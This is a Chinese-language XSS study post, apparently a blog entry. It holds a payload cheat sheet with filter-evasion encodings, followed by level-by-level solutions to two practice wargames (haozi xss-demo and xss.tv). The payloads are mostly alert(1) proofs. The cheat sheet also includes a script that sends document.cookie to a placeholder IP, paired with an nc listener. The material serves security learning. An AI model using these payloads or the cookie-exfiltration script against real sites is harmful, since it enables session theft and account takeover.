0x01 一些资源或文章:

XSS小结
XSS总结
那些年我们没能bypass的xss filter
XSS Filter Evasion Cheat Sheet 中文版
XSS攻击手段&在CTF中的运用


0x02 常用Payload(慢慢积累…)

1
2
3
<img src="x" onerror=alert(1)>
<img src="1" onerror=eval("alert('xss')")>
<img src=1 onmouseover=alert('xss')>
1
2
3
4
5
6
7
8
9
10
11
12
13
<a href="javascript:alert('xss')">aa</a>
<a href=javascript:eval(alert('xss'))>aa</a>
<a href="javascript:aaa" onmouseover="alert(/xss/)">aa</a>

需要用编码绕过时:
Base64:<a href=data:text/html;base64,PHNjcmlwdD5hbGVydCgzKTwvc2NyaXB0Pg==>M

urlencode:<a href=data:text/html;%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%2829%29%3C%2F%73%63%72%69%70%74%3E>M

HTML实体编码 :<a href=j&#x61;v&#97script&#x3A;&#97lert(13)>M
<a href="" onclick=alert('xss')>aa</a>
<a href="" onclick=eval(alert('xss'))>bb</a>
<a href="" onmouseover=prompt('xss')>cc</a>
1
2
3
4
<iframe src="data:text/html,&lt;script&gt;alert('xss')&lt;/script&gt;"></iframe>
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
<iframe src="aaa" onmouseover=alert('xss') /><iframe>
<iframe src="javascript&colon;prompt&lpar;`xss`&rpar;"></iframe>
1
2
3
4
<input value="" onclick=alert('xss') type="text">
<input name="name" onmouseover=alert('xss')>
<input name="name" value="" onmouseover=prompt('xss') bad="">
<input value=1 type=image src onerror=alert(1) >
1
2
3
4
<svg onload=alert('xss')>

<svg>标签中可以直接执行实体字符。
<svg><script>alert&#40;1&#41;</script>
1
2
3
Cookie盗取:
<script>var img=document.createElement("img");img.src="http://xxx.xxx.xxx.xxx:1234/a?"+escape(document.cookie);</script>
nc监听端口1234

Tips:

1
2
3
4
5
6
7
- 反引号代替圆括号
- 换行绕过正则
- <!--不仅可以用-->,也可以用--!>闭合
- //可以用换行来绕过
- <!--和-->都可以在html的script标签里单独使用进行单行注释
- ſ 符号转换为大写后正好为大写字母 S
- 可以用 %0a 代替空格进行绕过

0x03 XSS编码

JS编码

JS提供了四种字符编码的策略,

  • 三个八进制数字,如果数字不够,在前面补零,如a的编码为\141
  • 两个十六进制数字,如果数字不够,在前面补零,如a的编码为\x61
  • 四个十六进制数字,如果数字不够,在前面补零,如a的编码为\u0061
  • 对于一些控制字符,使用特殊的C类型的转义风格,如\n\r
HTML实体编码

命名实体
&开头,以分号结尾的,如<的编码为&1t;

字符编码
十进制,十六进制的ASCII码或者Unicode字符编码。样式为&#数值;

<的编码为

&#60; (10进制)

&#x003c; (16进制)

URL编码

这里为url全编码,也就是两次url编码

如alert的url全编码为%25%36%31%25%36%63%25%36%35%25%37%32%25%37%34

String.fromCharCode编码

如alert的编码为String.fromCharCode(97,108,101,114,116)


0x04 刷题

haozi-xss-demo

项目:https://github.com/haozi/xss-demo
地址:https://xss.haozi.me
包含alert(1)的js文件地址:https://xss.haozi.me/j.js
过关方式:构造input code,成功执行alert(1)

0x00

server code:

1
2
3
function render (input) {
return '<div>' + input + '</div>'
}

直接构造js语句即可。

payload:

1
<script>alert(1)</script>

html:

1
<div><script>alert(1)</script></div>

0x01

server code:

1
2
3
function render (input) {
return '<textarea>' + input + '</textarea>'
}

这一关插入的地方在html标签里面,所以要先闭合<textarea>标签,再进行构造。
nput code:

1
</textarea><script>alert(1)</script>

html:

1
<textarea></textarea><script>alert(1)</script></textarea>

0x02

server code:

1
2
3
function render (input) {
return '<input type="name" value="' + input + '">'
}

input的地方在尖括号内部,需要先闭合尖括号。
payload:

1
"><script>alert(1)</script>

html:

1
<input type="name" value=""><script>alert(1)</script>">

0x03

server code:

1
2
3
4
5
function render (input) {
const stripBracketsRe = /[()]/g
input = input.replace(stripBracketsRe, '')
return input
}

这一关用正则表达式过滤了括号(替换为空),这里有个小tip,可以用反引号代替圆括号。

其他关于过滤圆括号的一些方法,可参考:XSS相关一些个人Tips

payload:

1
<script>alert`1`</script>

html:

1
<script>alert`1`</script>

0x04

server code:

1
2
3
4
5
function render (input) {
const stripBracketsRe = /[()`]/g
input = input.replace(stripBracketsRe, '')
return input
}

过滤了圆括号和反引号,所以上一关的方法就不能用了。

可以用各种编码进行绕过,如url编码、html实体编码。

  • <svg>标签中可以直接执行实体字符,payload2
  • h5中iframe标签的srcdoc属性,srcdoc里的代码会作为iframe中的内容显示出来,srcdoc中可以直接去写转译后的html片段,payload3

payload:

1
2
3
4
5
<img src=1 onerror=location="javascript:alert%281%29">

<svg><script>alert&#40;1&#41;</script>

<iframe srcdoc="<script>alert&#40;1&#41;</script>">

0x05

server code:

1
2
3
4
function render (input) {
input = input.replace(/-->/g, '😂')
return '<!-- ' + input + ' -->'
}

这一关将html中的注释符-->替换成了一个表情,并且输入的内容是包含在一段注释符里的。

html通常的的注释符为:<!-- --> ,测试发现<!- -!><!-- --!>同样可已用来注释,这里可利用--!>来闭合。

payload:

1
--!><script>alert(1)</script>

html:

1
<!-- --!><script>alert(1)</script> 

0x06

server code:

1
2
3
4
function render (input) {
input = input.replace(/auto|on.*=|>/ig, '_')
return `<input value=1 ${input} type="text">`
}

过滤了以autoon开头,=结尾的标签属性,并用下划线_进行替换,同时忽略大小写。

这里可以用换行来绕过正则的检查。

payload:

1
2
3
4
5
onmouseover
=alert(1)

type=image src onerror
=alert(1)

html:

1
2
3
4
5
6
<input value=1 onmouseover
=alert(1)
type="text">

<input value=1 type=image src onerror
=alert(1) type="text">

0x07

server code:

1
2
3
4
5
6
function render (input) {
const stripTagsRe = /<\/?[^>]+>/gi

input = input.replace(stripTagsRe, '')
return `<article>${input}</article>`
}

正则匹配了以<</开头,>/>结尾的标签,并替换为空。
浏览器容错性运行去掉最后面的>,所以可以去掉它来绕过正则。

payload:(最后还有个空格或回车)

1
2
<img src="x" onerror=alert(1)   

html:

1
2
<article><img src="x" onerror=alert(1)
</article>

0x08

server code:

1
2
3
4
5
6
7
8
function render (src) {
src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
return `
<style>
${src}
</style>
`
}

过滤了</style>标签,忽略大小写。

因为我们需要用到</style>来闭合标签,所以依旧可以通过换行绕过正则,或者用</style >(多加了一个空格),也可以进行绕过。

payload:

1
2
</style
><script>alert(1)</script>

html:

1
2
3
4
<style>
</style
><script>alert(1)</script>
</style>

0x09

server code:

1
2
3
4
5
6
7
function render (input) {
let domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${input}"></script>`
}
return 'Invalid URL'
}

要求输入的值要以https://www.segmentfault.com开头,否则返回Invalid URL

payload:

1
https://www.segmentfault.com"></script><a href="" onmouseover=alert(1)>Lethe</a>

html:

1
<script src="https://www.segmentfault.com"></script><a href="" onmouseover=alert(1)>Lethe</a>"></script>

0x0A

server code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&amp;')
.replace(/'/g, '&#39;')
.replace(/"/g, '&quot;')
.replace(/</g, '&lt;')
.replace(/>/g, '&gt;')
.replace(/\//g, '&#x2f')
}

const domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${escapeHtml(input)}"></script>`
}
return 'Invalid URL'
}

同样要求输入的值要以https://www.segmentfault.com开头,但是过滤了& ' " < > /,这个过滤。

前面给出的包含alert(1)的js文件就派上用场了。

利用URL的@特性引入js,过滤后的html实体编码在html标签属性值中无影响,直接解析。

payload:

1
2
3
https://www.segmentfault.com@xss.haozi.me/j.js

但是...在这里却不行

html:

1
<script src="https:&#x2f&#x2fwww.segmentfault.com@xss.haozi.me&#x2fj.js"></script>

0x0B

server code:

1
2
3
4
function render (input) {
input = input.toUpperCase()
return `<h1>${input}</h1>`
}

这里将输入值全部转换成了大写。

  • html标签不区分;
  • 域名不区分大小写
  • js严格区分大小写。

因此这里可以利用html标签引用外部js资源,但是这里引用前面给的https://xss.haozi.me/j.js还是不行,根据官方解答,需要引用https://www.segmentfault.com.haozi.me/j.js这个链接才行...无语。

但这里也可利用html实体编码来进行绕过,alert(1)的html实体编码为&#97;&#108;&#101;&#114;&#116;&#40;1&#41;

payload:

1
<img src="x" onerror=&#97;&#108;&#101;&#114;&#116;&#40;1&#41;>

html:

1
<h1><IMG SRC="X" ONERROR=&#97;&#108;&#101;&#114;&#116;&#40;1&#41;></h1>

0x0C

server code:

1
2
3
4
5
function render (input) {
input = input.replace(/script/ig, '')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}

将script替换为空,正则全局匹配且不区分大小写.

这里可以直接用上一题的payload…也可以双写script,引用外部js资源,同样还是需要引用https://www.segmentfault.com.haozi.me/j.js这个链接才行..

payload:

1
<scscriptript src="https://www.segmentfault.com.haozi.me/j.js"></scscriptript>>

html:

1
<h1><SCRIPT SRC="HTTPS://WWW.SEGMENTFAULT.COM.HAOZI.ME/J.JS"></SCRIPT>></h1>

0x0D

server code:

1
2
3
4
5
6
7
8
function render (input) {
input = input.replace(/[</"']/g, '')
return `
<script>
// alert('${input}')
</script>
`
}

过滤了< / " ',但input的地方前面有个//,这是js的单行注释符,可以通过换行来绕过,然后再用-->将后面的')注释掉。

经过我自己的测试,<!---->都可以在html的script标签里单独使用进行单行注释.,这里<被过滤了,所以使用-->

payload:

1
2
3

alert(1);
-->

html:

1
2
3
4
5
<script>
// alert('
alert(1);
-->')
</script>

0x0E

server code:

1
2
3
4
5
function render (input) {
input = input.replace(/<([a-zA-Z])/g, '<_$1')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}

匹配以<起始的字符,替换为<_$1,并且把输入转换为大写,这样这样的标签就都用不了了。

这里有个tip
发现了一个ſ字符,是古英语中s的写法,但现在不会当作英文字母a-zA-Z,关键是ſ转换为大写后正好为S,这样就可以绕过正则使用<script>标签引如外部js。

payload:

1
<ſcript src="https://www.segmentfault.com.haozi.me/j.js"></script>

html:

1
<h1><SCRIPT SRC="HTTPS://WWW.SEGMENTFAULT.COM.HAOZI.ME/J.JS"></SCRIPT></h1>

0x0F

server code:

1
2
3
4
5
6
7
8
9
10
11
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&amp;')
.replace(/'/g, '&#39;')
.replace(/"/g, '&quot;')
.replace(/</g, '&lt;')
.replace(/>/g, '&gt;')
.replace(/\//g, '&#x2f;')
}
return `<img src onerror="console.error('${escapeHtml(input)}')">`
}

过滤了& ' " < > /,转换为了html实体编码,但是由于input code在img标签内,所以html实体编码是可以被直接解析的。
所以闭合前面的标签,在构造语句即可。

payload:

1
');alert('1

html:

1
2
3
4
<img src onerror="console.error('&#39;);alert(&#39;1')">

实际上就是
<img src onerror="console.error('');alert('1')">

0x10

server code:

1
2
3
4
5
6
7
function render (input) {
return `
<script>
window.data = ${input}
</script>
`
}

由于input实在script标签里面,且没有任何过滤,所以直接闭合前面的语句,构造下一条语句即可。

payload:

1
'';alert(1)

html:

1
2
3
<script>
window.data = '';alert(1)
</script>

0x11

server code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// from alf.nu
function render (s) {
function escapeJs (s) {
return String(s)
.replace(/\\/g, '\\\\')
.replace(/'/g, '\\\'')
.replace(/"/g, '\\"')
.replace(/`/g, '\\`')
.replace(/</g, '\\74')
.replace(/>/g, '\\76')
.replace(/\//g, '\\/')
.replace(/\n/g, '\\n')
.replace(/\r/g, '\\r')
.replace(/\t/g, '\\t')
.replace(/\f/g, '\\f')
.replace(/\v/g, '\\v')
// .replace(/\b/g, '\\b')
.replace(/\0/g, '\\0')
}
s = escapeJs(s)
return `
<script>
var url = 'javascript:console.log("${s}")'
var a = document.createElement('a')
a.href = url
document.body.appendChild(a)
a.click()
</script>
`
}

用反斜杠转移了一堆字符,但是"被转义成\"正好可以闭合console.log("\"),既然闭合了前面的语句那么之后就构造后面的语句就行了。

payload:

1
2
3
4
"),alert(1)//
");alert("1
"),alert(1)("
这三个都可以..

html:

1
2
3
4
5
6
7
<script>
var url = 'javascript:console.log("\"),alert(1)\/\/")'
var a = document.createElement('a')
a.href = url
document.body.appendChild(a)
a.click()
</script>

0x12

server code:

1
2
3
4
5
// from alf.nu
function escape (s) {
s = s.replace(/"/g, '\\"')
return '<script>console.log("' + s + '");</script>'
}

匹配"替换为\",这里直接用\")闭合前面的双引号会被转义,所以在加一个\来转义\即可。

payload:

1
\");alert(1);</script>

html:

1
<script>console.log("\\");alert(1);</script>");</script>

这一套题主要是熟悉一下基本绕过方式,实战性不是很强,初学XSS还需继续努力。


那么就再刷一套题吧

XSS挑战

题目地址:http://test.xss.tv/

Level 1

输入的地方,在h2标签内,先闭合标签再构造。

payload:
</h2><script>alert(1)</script>


Level 2

<input name="keyword" value="input code">

输入点在input标签内部,所以先闭合input标签。

payload:
"><script>alert(1)</script>


Level 3

这一关输入点,同样在input标签的value值内,尝试上一关闭合标签构造,但是没有成功。

双引号闭合value=" 失败,单引号闭合成功。
然后利用onclick、onmouseover等事件进行弹窗。
注释掉后面的代码。

payload:
' onmouseover=alert(1)//


Level 4

与上一关类似,用双引号闭合value="即可。

payload:
" onclick=alert(1)//

Level 5

这一关会将script替换成scr_ipton也会被替换成o_n

我们可以闭合<input>后利用<a>标签进行弹窗:

payload:
"><a href="javascript:alert(1)">Lethe</a>//

Level 6

这一关在上一关的基础上,多过滤了hrefsrcdata

经测试,可以利用大小写进行绕过。

payload:
"><a hREf="javascript:alert(1)">Lethe</a>//

Level 7

先用之前的payload进行测试,发现hrefscript直接消失了,于是尝试双写绕过,成功。

payload:
"><a hrhrefef="javascriscriptpt:alert(1)">Lethe</a>//

Level 8

这一关和前面稍有不同,可以添加友情链接,添加过后的内容直接包含在<a href="input code">友情链接</a>里面。

于是先尝试javascritpt:alert(1),但是script同样被替换成了scr_ipt

因为html标签内可以直接解析html实体编码,于是尝试用实体编码绕过。

payload:
java&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert(1)

Level 9

和上题类似,但是这里对链接有了一定要求,必须包含http://,却没有要求一定要在开头….不知道有什么意义

所以直接在构造的语句最后加上http://绕过检测,再注释掉即可。

payload:
java&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert(1)//http://

Level 10

这题没有输入框,url上给了一个keyword参数,尝试闭合再构造,虽然回显的内容没有过滤,但是却不会弹窗,查看源码,发现还有一个隐藏的form表单,看看能否利用。

在这里插入图片描述

尝试?t_link=Lethe&t_history=Lethe&t_sort=Lethe

发现t_sort参数可以利用

在这里插入图片描述

于是进行构造,发现尖括号被过滤了,于是利用事件进行弹窗。

payload:
?t_sort=" type=image src=x onerror=alert(1)//


Level 11

和上一关一样有一个隐藏的表单,也是t_sort参数可以利用

在这里插入图片描述

用上一关的payload进行测试,发现双引号也被过滤了,应该又要换个思路了。

重新打开页面观察源码,看到一个可疑的地方,那新增的一个参数不是白加的,当你从第10关跳到第11关时,t_ref的value值是页面的Referer的值。

在这里插入图片描述

于是在跳转的时候抓包修改Referer的值为" type=text onclick="alert(1),如下:

在这里插入图片描述

然后在Target界面Forward,回到闯关页面发现已成功注,点击输入框即可弹窗。

在这里插入图片描述


Level 12

与上一关类似,不过这里是利用User-Agent:

在这里插入图片描述

同样抓包修改User-Agent的值进行构造

在这里插入图片描述

payload:
" type=text onclick="alert(1)


Level 13

与前两关相同,只不过这一关是利用Cookie进行注入。

在这里插入图片描述

抓包修改Cookie为:user=" type=text onclick="alert(1)即可

在这里插入图片描述


Level 14

进入14关,没有输入框,url中没有参数,查看源码,发现使用了<iframe>标签引入了http://www.exifviewer.org/

但是我这边一直打不开http://www.exifviewer.org/,根据网上的题解,上传一个含有xss代码的图片触发xss,关于exif xss这一题的解法,可参考:https://xz.aliyun.com/t/1206


Level 15

页面什么都没有,那么直接看源码

在这里插入图片描述

第一眼看貌似也没什么,实际上还是因为我对js不是很熟悉…搜索得到,这里使用了AngularJS框架的 ng-include 指令,可参考:https://www.runoob.com/angularjs/ng-ng-include.html

其实就是可以利用 ng-include 指令来包含文件>

有两默认情况下,包含的文件需要包含在同一个域名下,也就是符合SOP。

所以网上大多方法是包含了第一关的代码,如下payload:?src='level1.php?name=test<img src=1 onerror=alert(1)>'

但是我在做的过程中发现,引用的名字会直接出现在源码上:

在这里插入图片描述

那么理论上通过闭合也是可以的

于是尝试payload:
?src="><img src="x" onerror=alert(1)>

发现真的是可以的..

在这里插入图片描述


Level 16

输入点包含在<center>标签内,过滤了空格,可以用%0a代替空格进行绕过。

payload:
?keyword=<img%0asrc=x%0aonerror=alert(1)>

Level 17

进入之后会看到一个关于flash的什么东西,暂时先不管,做xss先找输入输出点。

url中有arg01arg02两个参数,应该是输入点,查看源码发现在<embed>标签的src中会输出这两个参数的值,如下:

在这里插入图片描述

先试试闭合,发现过滤了尖括号,可以考虑用onerror弹窗。

payload:
?arg01=&arg02= onmouseover=alert(1)


Level 18

这一关和17关好像是一样的…

payload:
?arg01=&arg02= onmouseover=alert(1)


Level 19 20 好像是关于flash xss的,由于了解不多,而且现在网站用flash的也越来越少了,就不做了。


0x05 小结

做了这两套题,这只能说是刚刚了解了XSS是什么,还要很多很多知识需要学习,尤其是要加强实战方面的运用,这就只能在以后的学习过程中慢慢积累了。